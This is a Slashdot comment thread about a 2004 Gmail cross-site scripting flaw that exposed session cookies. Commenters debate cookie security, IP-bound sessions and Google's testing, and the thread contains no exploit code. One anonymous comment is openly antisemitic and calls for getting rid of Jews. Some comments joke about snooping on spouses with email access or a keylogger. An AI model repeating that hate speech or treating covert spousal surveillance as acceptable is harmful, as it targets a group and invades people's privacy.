    2. Re:Good thing they are still in beta. by Behrooz · · Score: 1

      on the open market

      What open market? You still need a beta invite to sign up for an account. Moron...

      --
      "We have to go forth and crush every world view that doesn't believe in tolerance and free speech." - David Brin
    3. Re:Good thing they are still in beta. by jcuervo · · Score: 1

      Two words: "perpetual beta".

      --
      Assume I was drunk when I posted this.
  18. Re:doh by LiquidCoooled · · Score: 1, Funny

    Sorry, google only allows usernames with 6 characters or more.

    Please enter a longer name, or choose from the following selection:

    Dodiddleyoh@gmail.com
    Dangdiddleydoh@gmail.com
    ArghhhhDoh@gmail.com

    --
    liqbase :: faster than paper
  19. cookies are the root of all evil by psbrogna · · Score: 0, Troll
    I've always been opposed to cookies. There's practically no reason why state control should be put on the client side. It's virtually impossible to secure a site that exposes variables client side. Anything you can do with a cookie can be done with a GUID context ID paired w/server side variable store.

    The only argument for cookies is tracking a user between sessions (ie. to satisfy the evil marketing weenies). If browsers would just generate a GUID during installation and then have that be part of the HTTP stream there'd be no reason for cookies at all. Be a good idea to have some sort of trapdoor hash function to prevent browser GUID spoofing also.

    1. Re:cookies are the root of all evil by bheer · · Score: 1

      If browsers would just generate a GUID during installation and then have that be part of the HTTP stream there'd be no reason for cookies at all.

      So, instead of cookies which I can erase or disable, you want my browser to generate one unique ID (based, in most implementations, on my MAC address) at install time that'd work across sites and send it to servers automatically? Love the privacy implications of that.

      --
      Go somewhere random
    2. Re:cookies are the root of all evil by psbrogna · · Score: 1

      Cookies compromise privacy in the same way, but also can give the client state control if not used properly. Which would you rather have?

    3. Re:cookies are the root of all evil by psbrogna · · Score: 1

      But your point is well taken- the ability to disable the inclusion of the browser GUID is something I'd agree with. The need here is to be able to support web applications that involved a variable store without compromising security. Cookies aren't a good solution to me because too many developers blindly assume that they can put whatever they want in there without thinking about what somebody could do to their site if they dug in on what's in the cookies. MANY sites, with supposedly senior developers, are guilty of this.

    4. Re:cookies are the root of all evil by NichG · · Score: 1

      You can disable cookies, delete cookies, etc, and thus show up as a totally new person. This is part of the base feature-set of most browsers, even if few people actually take advantage of it.

      With a machine-unique ID, in order to get around it as a unique identifier, you have to fight against what your own software is doing (i.e. trick it into sending a different ID). So that makes it so that people who aren't previously aware of the issue won't even know that they CAN disable it. It takes securing your privacy from a legitimate feature to something shady that only 'hackers' do.

    5. Re:cookies are the root of all evil by bheer · · Score: 4, Interesting

      > Cookies compromise privacy in the same way,

      No. Cookies are not the same across sites. Since each site comes up with its own cookie encoding scheme, data sharing becomes difficult (barring schemes like Passport: one reason why Passport in its original form was so creepy). Today, with fine-grained cookie managers (Moz, Opera) you can browse the web pretty privately, at least wrt cookies.

      Incidentally, Real once got a lot of flak for incorporating just this feature into Realplayer, all the privacy arguments made then are true now as well.

      Classic cookies are supposed to be opaque keys, but in reality people do use them for storing nonsensitive information, like stylesheet info. Your proposal would increase the hassle these people have to go through.

      > but also can give the client state control if not used properly

      rm if not used properly can hose your $HOME. A backup script used by a technician at your ISP used improperly can hose your Maildir. Doesn't mean rm or backup scripts are bad.

      Btw, if you don't like client-side state, I suggest you get prepared for more unpleasantness: I'm predicting in 2-3 years we'll see the first browsers with more sophisticated client state management that'd allow browsers to work with websites (even app-centric websites like Gmail and Flickr) offline.

      --
      Go somewhere random
    6. Re:cookies are the root of all evil by bheer · · Score: 1

      I'm assuming browsers would have GUID managers similar to today's cookie managers, where sending the GUID can be fine-grain controlled sitewise. I still don't like the idea, see my other post for why. That said, if anyone could come up with a client-side spec that was less prone to implentation bugs and was more secure AND back-compatible, I'm sure the W3 (and the WHAT-WG) guys would be very interested.

      Incidentally, I believe less people would misuse cookies if Netscape named it OpaqueKey :-). Believe it or not, most people do not KNOW what a "cookie" means in a CS sense.

      --
      Go somewhere random
    7. Re:cookies are the root of all evil by Lehk228 · · Score: 1

      so any site i ever visit would be able to impersonate me to any other site? that has to be the worst idea i have ever hear (well, worst not from my roommate)

      --
      Snowden and Manning are heroes.
    8. Re:cookies are the root of all evil by Anonymous Coward · · Score: 0

      What is even more ironic is that despite a sig about irony you completely failed to get the grandparent was being sarcastic.

  20. Now everybody,not just Google,can read your email! by VidEdit · · Score: 0, Troll

    Well, now, since everyone who uses GMail already lets Google read their mail, what's the difference if a few Hackers get a hold of your account? Oh sure, they could read your spam and your Slashdot subscription notices, but email is plaintext anyway! Anybody with a packet sniffer can read your email. As for sending e-mail in your name, spamers already do that now and few duffers can tell the difference.

    --
  21. Easy Fix: by thesandtiger · · Score: 5, Insightful

    1) Gmail plugs the hole.

    2) They change the cookie validation test script in this case to require a different cookie than ones that were being given while the exploit was active.

    3) When a counterfeit cookie (or any of the old cookies) tries to validate it's immediately seen as invalid, and the user is then made to login.

    Of course, if someone already got at your stuff, well, that's bad.

    --
    Since I can't tell them apart, I treat all ACs as the same person.
    1. Re:Easy Fix: by thesandtiger · · Score: 1

      Forgive the self reply - I meant to say:

      1) Gmail plugs the hole by: changing the cookie validation etc. etc. etc. Not that they plug the XSS hole.

      2) Should be what #3 was.

      3) Profit!

      --
      Since I can't tell them apart, I treat all ACs as the same person.
  22. Re:cookies are the root of all evil: Addendum 1 by psbrogna · · Score: 1

    Context ID's of course have to be validated so they're invalidated if used from an IP other then the one they were created for.

  23. MOD PARENT DOWN by Anonymous Coward · · Score: 0

    this guy has been posting all sorts of GNAA shit and fake gmail invites.. if you dont believe me just search his name

  24. Re:Why is this news? by over_exposed · · Score: 1

    Just a handful? Check again pal. Every week or so, I get six more invites to hand out and do so diligently. I've done this many many times. I know dozens of other people who do the same. Initially, a handful of people got accounts 0- probably several thousand... then they invites six buddies (or five buddies and made a spam account for themselves). Those five or six buddies invited five or six of their own... etc. etc. etc. I don't know hard figures, but there are very likely tens if not hundreds of thousands of GMail users, possibly more.

    --
    "The object of war is not to die for your country, but to make the other bastard die for his." - Patton
  25. That sound you hear.... by Anonymous Coward · · Score: 1, Funny

    We forgive you google, we wuv google, googie does no wrong, WE FORGIVE U GOOGIE!!!

  26. Nana? Anan? by tsager · · Score: 1

    No no no, they got it all backwards!

    (I bet they meant liamG to be vulnerable)

  27. Wives by mekanizer · · Score: 5, Funny

    Time to read our wives e-mail to see if they are cheating or something.

    1. Re:Wives by Anonymous Coward · · Score: 0

      I'm not worried about that... I keep my wife happy :P Can you say the same?

    2. Re:Wives by Anonymous Coward · · Score: 1, Insightful
      It's easier to tell than that. For instance: is she spending the week-end with a "friend"? Leaving Friday night and coming home late Sunday "too tired" to do anything? Is this occurring every week-end?

      Does she go out drinking with this same "friend" 2-3 times per night? Every week? Often drinking at fetish clubs or going to swinging events, again with this same "friend"?

      Those are much easier signs to look for than snooping through e-mail :-)

    3. Re:Wives by Anonymous Coward · · Score: 0

      if your wife seems happy , there is a very high possiblity she is cheating ... probably with the parent poster

    4. Re:Wives by Monoman · · Score: 1

      What is this wives thing you are referring to? :-)

      --
      Keep the Classic Slashdot.
    5. Re:Wives by Anonymous Coward · · Score: 1, Funny
      I'm not worried about that... I keep my wife happy :P Can you say the same?
      Yes, I keep your wife happy too.
    6. Re:Wives by nytes · · Score: 1

      Forget that! My wives may be reading my email!

      --
      -- I have monkeys in my pants.
    7. Re:Wives by spacefrog · · Score: 1

      You have a wife cool enough to have gotten a gmail invite? Do you really want an excuse to leave?

    8. Re:Wives by jcuervo · · Score: 1
      Time to read our wives e-mail to see if they are cheating or something.
      I'll save you the time, yours definitely is. ;-)
      --
      Assume I was drunk when I posted this.
    9. Re:Wives by JohnFluxx · · Score: 1

      Shit! You're right!

    10. Re:Wives by rthille · · Score: 1

      Silly boy, I've got a keypress snooper installed on all the computers my wife uses. Including her boyfriend's!

      --
      Awesome furniture, accessories and cabinetry in Santa Rosa, CA: http://humanity-home.com/
  28. Hmmm.... by spicy+salsa · · Score: 0, Troll
    I actually think the Hotmail backdoor was fairly similar to this (you used a login form on a site other then Hotmail.com and you did not have to enter a password).

    Free Flat Screen HERE!

    1. Re:Hmmm.... by Anonymous Coward · · Score: 2, Insightful

      Free Flat Screen HERE!

      Please put your fucking "free stuff" spam in your sig, so those of us who turn sig display off to avoid having to read "free stuff" spam don't have to read it. Thank you.

    2. Re:Hmmm.... by rbenech · · Score: 1

      > Free flat Screen HERE!

      SPAM in slashdot posts are rude.

      --
      Perspective is to Science what Interpretation is to Religion. Obama + Paul FTW
    3. Re:Hmmm.... by Anonymous Coward · · Score: 0

      MOD SPAMMER DOWN

    4. Re:Hmmm.... by irc.goatse.cx+troll · · Score: 1

      MOD PARENT -1, DESERVES TO BE BITCHSLAP.PL'D FOR SPAMMING SLASHDOT.
      (see sig.)
      also, you're an idiot. just so you know.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
  29. Re:cookies are the root of all evil: Addendum 1 by B2382F29 · · Score: 1

    Great, now get that working for dynamic IPs ...

    --
    Move Sig. For great justice.
  30. Re:cookies are the root of all evil: Addendum 1 by psbrogna · · Score: 1

    IP's that change in the middle of a session?! Well that would suck. I've never run across that.

  31. Re:cookies are the root of all evil: Addendum 1 by psbrogna · · Score: 1

    Wait, I have. AOL and some foreign satellite access providers but not lately- it's been a couple of years.

  32. Well this would have been.. by Tracer_Bullet82 · · Score: 2, Interesting

    news to me, if I could access the damn accounts.

    had to tell people to revert to my old e-mail, since invariably I cannot open it.

    Crossing my fingers, these issues will be solved in beta.

    --


    Timang tinggi tinggi
    parang sudah asah
    alang alang mandi
    biar sampai basah
  33. Not a real problem. by NotoriousQ · · Score: 4, Insightful

    No worries! Remember it is still a beta. It is not like anyone will use this for a serious purpose.

    --
    badness 10000
    1. Re:Not a real problem. by NotoriousQ · · Score: 1

      Due to the failure to read to the bottom of the posts, I hereby retract my overly cynical and redundant message.

      --
      badness 10000
    2. Re:Not a real problem. by Anonymous Coward · · Score: 0

      Gawd all my communication with my fellow drug lords are in there!!!

    3. Re:Not a real problem. by verbatim_verbose · · Score: 2, Insightful

      Parent should have probably been marked funny rather than insightful... sheesh.

      The thousands of people using Gmail don't care that it has a little tiny word "beta" at the top. They've got mail in there that probably shouldn't be seen by other people. (Personal communications, private chats, possibly much more.)

      It IS a real problem for anyone who doesn't want their email being read by others.

    4. Re:Not a real problem. by fatphil · · Score: 1

      _webmail_ is a real problem for anyone who doesn't want their email being read by others.

      FP.

      --
      Also FatPhil on SoylentNews, id 863
  34. Re:Now everybody,not just Google,can read your ema by iMaple · · Score: 5, Funny

    what's the difference if a few Hackers get a hold of your account?

    You know its not just as simple as you think. I mean I dont care if a few hackers read my email, but what if they decide to use sensitive info in it or delete it.

    I run an e-business from Nigeria and earn some money in the process. People email me their bank account numbers, creditcard numbers ,SSNs and what not (I am creative). Now if some immoral hacker got hold of that data , the poor users would be duped twice, and I would feel really bad abt it (I mean I could have got twice the money myself if I wanted). So I request Gmail to help the Nigerian revolution and our fight against AIDS and dictators and fix the bug as soon as possible.

  35. Re:cookies are the root of all evil: Addendum 1 by Anonymous Coward · · Score: 0

    Great, now get that working on a shared connection like at work where hundreds of computers have the same external IP address

  36. off topic : gmail invites by peeledback · · Score: 0, Offtopic

    I have 6 ? anybody want? send an email to peeledback ...at..@!#..punkass.com

  37. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  38. ermm.. reputation can either be gained.. by Tracer_Bullet82 · · Score: 1

    through..

    One : Good PR
    Two : "Branding"
    Three : User Satisfaction

    Which one GOOG use?

    --


    Timang tinggi tinggi
    parang sudah asah
    alang alang mandi
    biar sampai basah
    1. Re:ermm.. reputation can either be gained.. by Anonymous Coward · · Score: 0

      LOGIC (USA VERSION): Opposing the most powerful nation on Earth=Cowardice

      Thoughtcriminal.

  39. MOD PARENT IDIOT by Anonymous Coward · · Score: 0

    How would this solve this problem? So I steal your GUID... same thing!! dummmy

    1. Re:MOD PARENT IDIOT by psbrogna · · Score: 1

      Ummm- no it's not. Once more, for the cheap seats- The context ID is only valid from the IP address it was created for and within a certain window of time since last reference.

    2. Re:MOD PARENT IDIOT by Anonymous Coward · · Score: 0

      Whats your time window? What if I reconnect via dialup during that time window? Your cookie just BROKE!

      Something that works 'most' of the time is NOT ENOUGH!! Once again DUMB IDEA!

    3. Re:MOD PARENT IDIOT by psbrogna · · Score: 2, Insightful
      Starting a session over because a user lost his dialup connection is acceptable to every user I've run into.

      This technique has been in use at several moderate (> 50k users/mo) traffic sites I've worked on with no problems and no complaints for several years. And, state control is completely server side.

      If you like cookies, off you go. I'll choose the more secure solution for now.

  40. I wuv you too /. by Anonymous Coward · · Score: 1, Funny

    "We forgive you google, we wuv google, googie does no wrong, WE FORGIVE U GOOGIE!!!"

    Thanks /.! Rest assured that your little darling is sorry for this collossal blunder! I will try harder next time not to expose every single bit of information that you store in me.

    And thanks for not crucifying me the way you did Hotmail and others. Seriously, I appreciate all your double-standards, really I do. Now I can be just as exploit-ridden as Samba, OpenSSL, and Firefox and still know that you will always put a spin on it and somehow blame M$.

    I wuv you too /.
    Signed,
    Your Googlie Woolgie

  41. Re:cookies are the root of all evil: Addendum 1 by psbrogna · · Score: 1
    The purpose of the IP validation is to prevent it working when a link gets out in the wild (for example, 3rd Party Insecure Toolbar X sends it off somewhere without your knowledge, somebody hacks your shortcuts, etc)

    You still have to know the context ID. If you're giving your URL (with the context ID) to somebody with the same IP address as you odds are you want it to work for them anyway.

  42. Comment removed by account_deleted · · Score: 2, Informative

    Comment removed based on user account deletion

  43. overstatement of exposure by elmegil · · Score: 2, Insightful
    "Because Gmail offers a gigabyte of storage, several times bigger than most other web based mail services, users hardly delete any old correspondence", says Goldshlagger. "The result is a huge amount of mail accumulating in the users' boxes, which frequently include bank notices, passwords, private documents and other files the user wanted to backup. Who ever takes a hold of this data, could literally take over the victim's life and identity".

    If you've got ALL THAT INFORMATION already migrated to a BETA service that's been around for ... a handful of months, you're pretty foolish. As far as it goes, I specifically DON'T have anything particularly importang going to my gmail account for exactly this reason--it's unproven as of yet. In fact, I had a two week outage, totally unable to use my gmail box, for uknown reasons. After working with the GMail team, it got fixed, but they never told me the actual cause. Yet another reason not to trust BETA software/services with really crucial information.

    And before all the 'bots claim I'm bashing google, quite the contrary. I love GMail. But it's like any other BETA product right now--still working out the kinks.

    --
    7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
    1. Re:overstatement of exposure by widow,black · · Score: 1

      That's why I only use gmail for mail from companies I know are going to spam me!

    2. Re:overstatement of exposure by awehttam · · Score: 1

      Funny that, Beta and all..

  44. Re:Now everybody,not just Google,can read your ema by VidEdit · · Score: 2, Insightful

    Troll? While I didn't necisarily think the parent post would be moded up, I certainly don't think it deserved a -1! Sigh, out of my hands...I certainly didn't mean to be a troll. I do think that it is legitimate to point out that email is plaintext and that GMail accounts are, in certain ways, already compromised. Seems people are very protective about their GMail...

    --
  45. Re:Why is this news? by Anonymous Coward · · Score: 0

    Not all those accounts are actually being used, though. I have a Gmail account, but only because I was curious about it. I've only logged in a couple of times, and I'll probably never actually use it for anything.

    And I bet there are a lot more like me out there.

  46. Re:cookies are the root of all evil: Addendum 1 by secolactico · · Score: 1

    I've heard of cablemodem users whose IP's are assigned via DHCP and expire/change sometimes as often as every 30 minutes.

    Actually, I've read about it here on Slashdot, so take it with a grain of salt. ;-)

    --
    No sig
  47. Two Browser Security by Anonymous Coward · · Score: 0

    The easiest fix for this one is the quick and simple Two Browser method.

    For example, I use Konquerer and Mozilla (and Epiphany, but only for one specific site). Konquerer is as locked down as I can get it, resonably. Java, Javascript, Cookies, Flash, Shockwave, plugins are all disabled completely. Mozilla can use Java, Javascript, and Cookies.

    ---

    I typically browse the web with Konquerer, and I copy 'n paste a link if I need the functionality of Mozilla, or I type the thing in myself. I'll check the page source code and find the link I need to get around home-page Flash "content" (read: shit), before I paste the link into Mozilla.

    It's a simple, direct, functional way of increasing your intarweb browsing security.

    Use Two Browsers.

    1. Re:Two Browser Security by Anonymous Coward · · Score: 0

      Yeah. I get all my pr0n with Firefox, and everything else with Moz. :-)

  48. amen to that by contagious_d · · Score: 0, Offtopic
    by Anonymous Coward on Friday October 29, @06:27PM (#10668245)
    Free Flat Screen HERE!
    Please put your fucking "free stuff" spam in your sig, so those of us who turn sig display off to avoid having to read "free stuff" spam don't have to read it. Thank you.
    Log in and say it like a man ;)
    --
    - /home is where the food is.
  49. profile of the guy who did it by cjasonm · · Score: 1

    is apparently available here

  50. Rejected by l8f57 · · Score: 0, Offtopic

    2004-10-29 17:01:22 Gmail is open to exploit (Your Rights Online,Security) (rejected)

    1. Re:Rejected by Anonymous Coward · · Score: 0

      That's because your username is too gay to be allowed on the front page.

    2. Re:Rejected by Anonymous Coward · · Score: 0

      I've submitted stories that became rejected and 4 days later appeared on the front page by someone else, so stand in the long line of people that got stories rejected unequally.

  51. Of course it is. by fireboy1919 · · Score: 1

    Since it's public, I'll just surf on over to Gmail and get myself an account...WHAT? I CAN'T?!!!

    But you said it was public!!!

    I guess I'll just have to hope that somebody gives me a private invitation so that I can become a beta-tester.

    --
    Mod me down and I will become more powerful than you can possibly imagine!
    1. Re:Of course it is. by fugas · · Score: 1

      This blogger is giving out invitations at the moment... I got mine there!

  52. Cross Site Scripting FAQ questions and answers by Anonymous Coward · · Score: 0


    http://www.cgisecurity.com/articles/xss-faq.shtml

  53. ATTN: Gmail admins by Anonymous Coward · · Score: 0

    1. toss the persistant cookies

    2' use only per-session cookies

    3. tag the cookie with the IP address of the user so if someone does manage to steal a cookie their IP addy wont match and raise alarms, and encrypt the IP address info so it would be useless to anyone except gmail's servers...

  54. Re:Now everybody,not just Google,can read your ema by mekanizer · · Score: 1

    I think the whole economy of the Nigeria revolves around the Internet :)

  55. Um, access to the cookie? by octaene · · Score: 1

    Um, isn't it true that the hacker would need to be able to get the cookie off the luser's workstation first? Anybody ever heard of a client firewall?

    1. Re:Um, access to the cookie? by Anonymous Coward · · Score: 0

      I believe that's the whole point of the XSS exploit, to retrieve the cookie over the network using a malformed URL which points at gmail.com

  56. Re:OS wars! by say · · Score: 1

    Yeah, the authentication scheme for a web service is always integrated into the OS.

    --
    Roses are #FF0000, violets are #0000FF, all my base are belong to you
  57. Fixed Perhaps? by mla_anderson · · Score: 3, Interesting

    I wonder if they fixed it. My session was just expired and I had to login in again. (My latest two week session ended a couple days ago.)

    --
    Sig is on vacation
    1. Re:Fixed Perhaps? by mr.+roboto · · Score: 1

      Same thing just happened to me. I wonder...

  58. gmail invites to give... by vally_the_poo · · Score: 1

    is there anyone still interested ?

  59. beta means nothing.. by Gentlewhisper · · Score: 1

    Look at ICQ
    almost 10 years and STILL better

    Come on, how about windows? Is it beta?

    Beta is no reason to produce shoddy code like that.

    --
    Online backup with Mozy, sounds like Ozzie, but more!
  60. Gmail just logged me out - a quickfix already? by adnonsense · · Score: 5, Interesting

    I was using the "don't ask my password for two weeks" feature - Gmail just logged me out although the two weeks aren't up, and after logging in again I had a session ID tacked on to the URL like this:

    http://gmail.google.com/gmail?_sgh=2f3ab242adinf in itum

    which I've never seen before.

    I think it'll be a long Friday night at the 'Plex.

    1. Re:Gmail just logged me out - a quickfix already? by scottj · · Score: 1

      I have been seeing URIs like that from Gmail for several weeks--much longer than this exploit has been out.

      --
      .-.--
  61. Perhaps it's time... by Anonymous Coward · · Score: 1, Interesting

    ...for Google to start hiring some computer security geeks in addition to the math geeks they've been so aggressively pursuing. Last week is was Google Toolbar that was found to be hole-ridden. This week it's gmail.

    1. Re:Perhaps it's time... by Anonymous Coward · · Score: 0

      Of course, I'd be immediately eliminated from consideration due to poor grammar/typing skills ("IS was Google Toolbar"!?)

  62. You stupid shit-eating buffoon. by contagiousisafucktar · · Score: 1

    Please put your fucking "free stuff" spam in your sig, so those of us who turn sig display off to avoid having to read "free stuff" spam don't have to read it. Thank you. Also, contagious_d is a witless fucktard without the brains God gave feta cheese.

    ":)"

    1. Re:You stupid shit-eating buffoon. by contagious_d · · Score: 1

      hey, what can I say, you are right

      --
      - /home is where the food is.
  63. as of 1:30 GMT.. by Anonymous Coward · · Score: 0

    getting server errors in the login box for gmail now

  64. Server error now by Jayfar · · Score: 1

    Getting a server error message in place of the login box. It is going to be a long night at the 'plex as you say.

  65. Re:cookies are the root of all evil: Addendum 1 by Talisto · · Score: 1

    A bunch of ISPs (AOL included) by default set their user's browser to use a proxy server where each request through the proxy goes out with a random IP from a pool of IPs. It's incredibly annoying from a developer standpoint. One little work-around to this problem, though, is to only check the first two bytes of the IP address. Definitely not a foolproof solution, since it won't usually stop abuse from people on the same ISP, but it's a bit better than nothing. But then there's the matter of people using a list of anonymous proxies on different ISPs..

  66. Re:cookies are the root of all evil: Addendum 1 by mccrew · · Score: 2, Informative
    I've never run across that.

    You gotta get out more. :)
    Lots of companies are behind load-balanced proxy servers. To a server, requests for a particular session are coming from a small number of IP addresses of the proxies.

    --
    Hey, Windows users, there is no such thing as "forward" slash, there is only slash and backslash.
  67. Slashdot Accounts Vulnerable to Colour Exploit by Anonymous Coward · · Score: 0

    http://shit.slashdot.org/article.pl?sid=04/10/29/1 830247

  68. The Microsoft argument by nonicenamesleft · · Score: 3, Interesting
    I know this group loves to hate Microsoft, but this story rings a bell in my head about the argument Microsoft always gives about its vulnerabilities being discovered the most cos hackers are more interested in finding them. With google having acquired a close to God status with its amazingly engineered products, those same hackers are now targetting its holes (pun intended).

    This story talks about this vulnerability in google which allows somone to replace the google page with a simple form telling the user that google is now a subscription service and asking for their credit card details. http://www.theregister.co.uk/2004/10/21/google_des ktop_security_vuln/

    Is closed-source software always going to be insecure because some hacker somewhere has issues with it? I hope not - cos writing closed source software is my bread and butter.

    With google's empire growing the way it is, I wonder if it is the next Microsoft? I sincerely hope not!

    1. Re:The Microsoft argument by JibberJim · · Score: 3, Insightful

      As the reporter of the first bug reported in the register article, I certainly didn't go looking for it because of google, it was trivial to find, I found it 2 1/2 years ago (you can see a usenet post from 2002 which describes it, when XSS into google didn't matter much, phishing was new, and google had no data)

      The reason we're getting this deluge of security flaws in google now is simply because people are now looking, they're easy to find, the XSS flaws are trivial (like ignoring you're encode user input before writing it into the page)

      The issues are Googles lack of QA and security testing - do you think it's reasonable to release an HTML product which searhed personal data on peoples machines without having a test which provided some javascript as the search term? I think the failure to do that is incompetence of a level that makes MS's old security look good.

      Yes, Google have fixed the flaws quickly, that's because the flaws are trivially easy to fix - html encoding a string isn't hard, even in python.

    2. Re:The Microsoft argument by Reziac · · Score: 1

      "The issues are Googles lack of QA and security testing.."

      I think that's a good point. Yeah, "thousands of eyes" were looking at GMail, but how many were doing it AS dedicated beta testers, with a *mission* to find and report flaws? Damn few, I'd bet.

      --
      ~REZ~ #43301. Who'd fake being me anyway?
  69. Re:OS wars! by ozric99 · · Score: 1
    Yeah, the authentication scheme for a web service is always integrated into the OS.

    Hey! Keep IIS out of this!

  70. If the hackers access my account... by parliboy · · Score: 2, Funny

    Could you guys at least have the courtesy of deleting all of those ads for mortgage applications? I'm sick of doing it myself.

    --
    "You're never ready, just less unprepared."
  71. I'm doing my part... by Hobadee · · Score: 1

    I sent an email to myself @gmail welcoming any hackers who may be interested in my account!

    --
    ...Had this been an actual emergency, we would have fled in terror, and you would not have been informed.
  72. gmail is free beta, windows is paid and finished? by SmallFurryCreature · · Score: 1
    There is a difference. Google so far hasn't earned the reputation of Microsoft. A reputation of ignoring known security holes and sitting on them until the shit hits the fan and then taking ages to fix anything.

    Code exploits released with MS warnings are just way to get MS to move its lazy fat ass. Talk to the people that have tried to warn MS in the past before going public. After trying for months and months knowing that if the "whitehat" hacker knew then a "blackhat" hacker might also have found out with MS doing shit or even threathening the hacker warning them the world is no longer prepared to give MS a break.

    Google has still got to ruin its reputation. It was warned and is acting upon it. Whitehats don't want holes to be exploited. They want them fixed. With google it seems enough to tell that the hole is there. With MS you must release the exploit code and create a security nightmare before MS will even think of reacting.

    So yes, there are different standards. Not in what whitehats want to achieve but in what they need to do to get a company to react.

    So they are not the same thing. The difference being the attitude of the company that has to fix the hole.

    --

    MMO Quests are like orgasms:

    You may solo them, I prefer them in a group.

  73. Well no. by SmallFurryCreature · · Score: 1
    It ain't nice that your cookie can be taken but that is the way it is. Google knows this and should protect against this. Just as it isn't nice that you can get into an accident but your car should still be designed to protect you against this.

    Yes in an ideal world all browsers would be 100% safe but they are not. Cookies being stolen is sadly it seems a problem that can't be fixed. So GUARD against it. Google should know better. There are a lot of tricks you can use to make certain that a cookie is indeed from the right computer. I make my living selling that kinda knowledge and you ain't paying me so I am not gonna tell but it ain't so hard.

    All it takes is a paranoid mind. With the web in the state it is in, you really can't be to paranoid when developing anything to run on the web.

    --

    MMO Quests are like orgasms:

    You may solo them, I prefer them in a group.

  74. Beware of those terrorist jews by Anonymous Coward · · Score: 0

    They already control your mass media. They're the only ones who have been killing fellow humans in the name of God for thousands of years and now, they come up with this. Some years ago 2 jews brought as the Friday the 13th virus for MS-DOS, now the jews strike back. It's time to get rid of the jews!

    Glass

  75. technical details by Anonymous Coward · · Score: 0

    some techincal details on how to replicate the vulnerability can be found here

  76. Gmail flaw fixed by Anonymous Coward · · Score: 0

    http://www.infoworld.com/article/04/10/29/HNgmail_ 1.html?source=rss&url=http://www.infoworld.com/art icle/04/10/29/HNgmail_1.html

  77. Gmail down now by cyberzephyr · · Score: 1

    Now Gmail is down. anyone got a reason?

    --
    I'm here for the experience, not the Hyperbole.